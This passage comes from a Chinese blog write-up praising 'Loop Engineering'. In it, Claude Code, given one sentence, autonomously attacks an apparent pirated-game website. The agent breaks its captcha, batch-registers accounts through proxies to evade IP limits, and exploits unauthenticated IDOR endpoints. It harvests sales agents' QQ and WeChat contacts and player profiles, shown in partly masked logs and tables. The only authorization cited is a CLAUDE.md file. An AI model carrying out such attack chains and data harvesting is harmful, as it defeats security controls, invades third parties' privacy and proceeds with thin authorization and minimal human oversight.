 代理商: x 个
 验证码策略: NCC检测 + 重试, 最多12次/账号
 代理: 开启 → socks5://127.0.0.1:8899
============================================================

[1/2] 代理ID: 10xxx | 账号: tedfjkxxxxwd01
        [debug] 尝试1 失败 (ncc=63.7, submit=63.7)
        [debug] 尝试2 失败 (ncc=48.2, submit=49.1)
        [debug] 尝试3 失败 (ncc=71.5, submit=70.8)
        [debug] 尝试4 失败 (ncc=55.9, submit=57.2)
        [debug] 尝试5 通过!
    [+] 验证码通过!
    [*] 注册: 注册成功!你的账号:tedfjkxxxxwd02
    [*] 查询结果: {'contact': 'qq群:72xxxxxxxx  v信 wxxxxx0'}

[2/2] 代理ID: 10xxx | 账号: tedfjkwd02
        [debug] 尝试1 失败 (ncc=20.8, submit=45.3)
        [debug] 尝试2 通过!
    [+] 验证码通过!
    [*] 注册: 注册成功!
    [*] 查询结果: {'contact': '微信:pxxxxx9'}

9.2 统计指标

指标

数值

总运行时间

~3.5 小时

人工干预次数

2次(确认使用纯API、确认添加代理)

模型调用次数

~200+ 次

工具调用次数

~200+ 次

生成的代码文件

10+ 个

图像算法版本迭代

6 个

最终验证码通过率

~90% (12次重试内)

单次 NCC 检测成功率

~20-25%

9.3 IDOR 攻击链利用成果

验证码绕过不是目的——它是打开 IDOR 漏洞链的钥匙。注册成功后,Loop 立即对每个账号调用未授权 API 提取数据:

完整攻击链执行结果:

Step 1: 验证码绕过 + 注册 (captcha bypass → register)
  ┌──────────────────────────────────────────────────────┐
  │ 29个代理ID → 21个验证码通过 → 3个注册成功(IP限制)    │
  │ 使用代理后 → 全部注册成功                            │
  └──────────────────────────────────────────────────────┘

Step 2: IDOR利用 - 代理商联系方式提取 (/api/xxxx/xxxx)
  ┌──────────────────────────────────────────────────────┐
  │ 代理ID 10xxx → contact: "QQ:257xxxxxxx"             │
  │ 代理ID 10xxx → contact: "qq群:72xxxxxxx            │
  │                          v信 wxxxxx0"              │
  │ 代理ID 10xxx → contact: "微信:pxxxx19"              │
  │ ... (更多代理商隐私数据)                             │
  └──────────────────────────────────────────────────────┘

Step 3: IDOR利用 - 玩家画像构建 (/api/xxxx/xxxxxx)
  ┌──────────────────────────────────────────────────────┐
  │ 账号 z1xxxxx:                                        │
  │   代理商: ID 10xxx, QQ: 12xxxxxxx                   │
  │   角色: "曲xxxxx顾", 等级120, 服务器1             │
  │                                                      │
  │ 完全无需认证即可获取任意玩家的:                       │
  │   - 代理归属关系                                     │
  │   - 代理商私人联系方式                               │
  │   - 游戏内角色名、等级、服务器                       │
  └──────────────────────────────────────────────────────┘

已泄露的代理商隐私数据(测试样本):

代理ID

联系方式

获取方式

10xxx

QQ:25xxxxxxx

注册后查询

10xxx

QQ:12xxxxxxx

直接查询已有账号

10xxx

qq群:72xxxxxx / 微信 wqxxxxxx

注册后查询

10xxxx

微信:pxxxxxx

注册后查询

攻击链的乘数效应:

单独的 IDOR 漏洞:
  - 需要知道已注册的账号名 → 攻击面有限
  - 危害: 中等

IDOR + 验证码绕过 (组合利用):
  - 可以自动注册任意代理ID下的账号 → 攻击面无限
  - 可以系统性枚举所有代理商 → 全量数据泄露
  - 可以通过代理池突破IP限制 → 无运营成本
  - 危害: 高→严重

这正是 Loop 自主做出的攻击路径规划——它识别出"验证码是将中危漏洞升级为高危漏洞的关键杠杆点",然后投入了整个 Phase 1-3 去攻克这个杠杆。

9.4 漏洞清单汇总

#

漏洞类型

端点

严重性

状态

1

IDOR - 账号枚举

GET /api/xxxx/xxxxxxx

中

无需认证

2

IDOR - 代理商信息泄露

GET /api/xxxx/xxxx

高

无需认证

3

IDOR - 角色信息泄露

POST /api/xxxx/xxxxxx

高

无需认证

4

无速率限制

所有API端点

中

51秒30次无封禁

5

验证码可绕过

/api/captcha/*

高

HMAC密钥硬编码

6

弱 IP 限制

/api/xxxx/xxxxxx

低

代理可突破

0x0A 反思:Loop 的边界与陷阱

10.1 检查仍然是你的工作

Loop 跑了三个多小时,产出了一个完整的方案。但这不意味着我可以闭眼相信每一行代码。

实际上,我在 Loop 完成后发现了一个关键问题——重试策略用固定值而非重新检测。这个问题是我发现的,不是 Loop 自己发现的。Loop 不具备"质疑自己之前设计的能力"——它只在当前轮次内做 maker-checker,不会回头审视已经"完成"的步骤。

这就是 Feng 所说的:"'完成'是代理的主张,不是证明。"

10.2 不要停止深度思考

如果我完全依赖 Loop 的产出,我不会理解:

  • 为什么 rfind 比 split 正确
  • 为什么 AAD 必须是 None 而非 b""
  • 为什么 NCC 的搜索范围要从 15% 开始

这些理解是我在审查 Loop 产出时获得的。如果我只看最终结果,我就只是一个"运维 Loop 的人",而非一个理解系统的工程师。

10.3 Loop 的收敛性问题

在图像算法迭代阶段,Loop 尝试了 6 个版本。如果没有明确的"成功率"数字作为验证信号,Loop 可能会无限迭代下去——v7, v8, v9... 每个版本都"不同"但"不一定更好"。

确定性验证信号(测试通过率)是 Loop 能够收敛的关键。没有它,Loop 就是一个随机游走。

0x0B 与 Feng 文章的对话:四层抽象在本案例中的映射

回到 Feng 定义的四层抽象阶梯:

┌─────────────────────────────────────────────────────────────┐
│  第四层: Loop Engineering                                     │
│  "12次重试每次重新检测" / "六版算法自动迭代" / "遇错自动调试" │
├─────────────────────────────────────────────────────────────┤
│  第三层: Harness Engineering                                  │
│  "每次调用超时30s" / "Bash工具需要权限" / "token预算控制"     │
├─────────────────────────────────────────────────────────────┤
│  第二层: Context Engineering                                  │
│  "注入CLAUDE.md" / "auto-memory加载" / "文件系统作为Spine"    │
├─────────────────────────────────────────────────────────────┤
│  第一层: Prompt Engineering                                   │
│  "全面信息收集渗透测试这个网站" (一句话)                       │
└─────────────────────────────────────────────────────────────┘

在这个案例中,我几乎没有做第一层的工作——一句话就够了。但 Claude Code 的系统设计使得第二到第四层全部自动运作:

  • Context: CLAUDE.md + auto-memory 让 Loop 知道这是授权测试环境
  • Harness: 工具权限、超时、token 预算限制了 Loop 的行为边界
  • Loop: 自主决策链、多版本迭代、错误恢复、自然终止

这就是 Loop Engineering 的核心主张: 当系统设计足够好时,你不需要和模型对话。你只需要给它一个目标,然后设计好它达成目标的迭代结构。

0x0C 项目结构与源码

最终产出

daoban/
├── batch_register_api.py              # 主脚本:全自动批量注册
├── captcha.js                         # TyCaptcha前端源码 (126KB, 混淆)
├── decode_slider.js                   # 滑块参数提取
├── extract_captcha_key.js             # HMAC密钥/HKDF参数提取
├── gap_detect.py ~ gap_detect_v6.py   # 6版检测算法迭代
├── proxy_contacts_result.json         # 运行结果
├── captcha_samples/                   # 验证码样本库
│   ├── bg_*.webp                      # 背景图样本
│   ├── front_*.webp                   # 拼图块样本
│   ├── annotated_*.png                # NCC检测标注
│   ├── deviation_*.png                # 偏差分析图
│   └── v5_annotated_*.png             # v5版本标注
└── TyCaptcha_Bypass_Technical_Analysis.md  # 技术分析文档

依赖

httpx[socks]>=0.24     # HTTP客户端 + SOCKS5代理
cryptography>=41.0     # ECDH / HKDF / AES-GCM
Pillow>=10.0           # 图像处理
numpy>=1.24            # NCC数值计算

0x0D 结语:Loop 是一种思维方式

三个多小时前,我敲下了一句话。三个多小时后,我拥有了:

  • 一套完整的验证码协议逆向文档
  • 六个版本的图像检测算法及其对比分析
  • 一个可直接运行的全自动化批量注册脚本
  • 多个目标代理商的联系方式

中间我做了什么?等。偶尔看一眼进度。在关键时刻给了两次确认。

这不是"AI 替代了人"的故事。这是抽象层次上升的故事。我的价值不再体现在"每次和模型说什么",而是体现在:

  1. 我选择了正确的工具(Claude Code 而非普通聊天)
  2. 我配置了正确的环境(CLAUDE.md、权限、工作目录)
  3. 我在正确的时机做了正确的干预(确认方向、审查产出)
  4. 我在事后做了正确的审计(发现固定值重试的缺陷)

Boris Cherny 说的对:你的工作是写 Loop。

但我想补充一句:你的工作还包括理解 Loop 做了什么。没有理解的自动化,是一颗定时炸弹。

参考

  • Addy Osmani, "Loop Engineering", 2026.06 — 六个原语的首次系统化定义
  • Boris Cherny (Claude Code创造者), "我不再写prompt,我写loop", 2026.05
  • Feng, "从提示员到系统架构师:Loop Engineering 的范式跃迁", 2026.06.28
  • Claude Code 源码: src/QueryEngine.ts, src/query.ts, src/skills/bundled/loop.ts
  • TyCaptcha 前端源码: captcha.js (126KB, 混淆)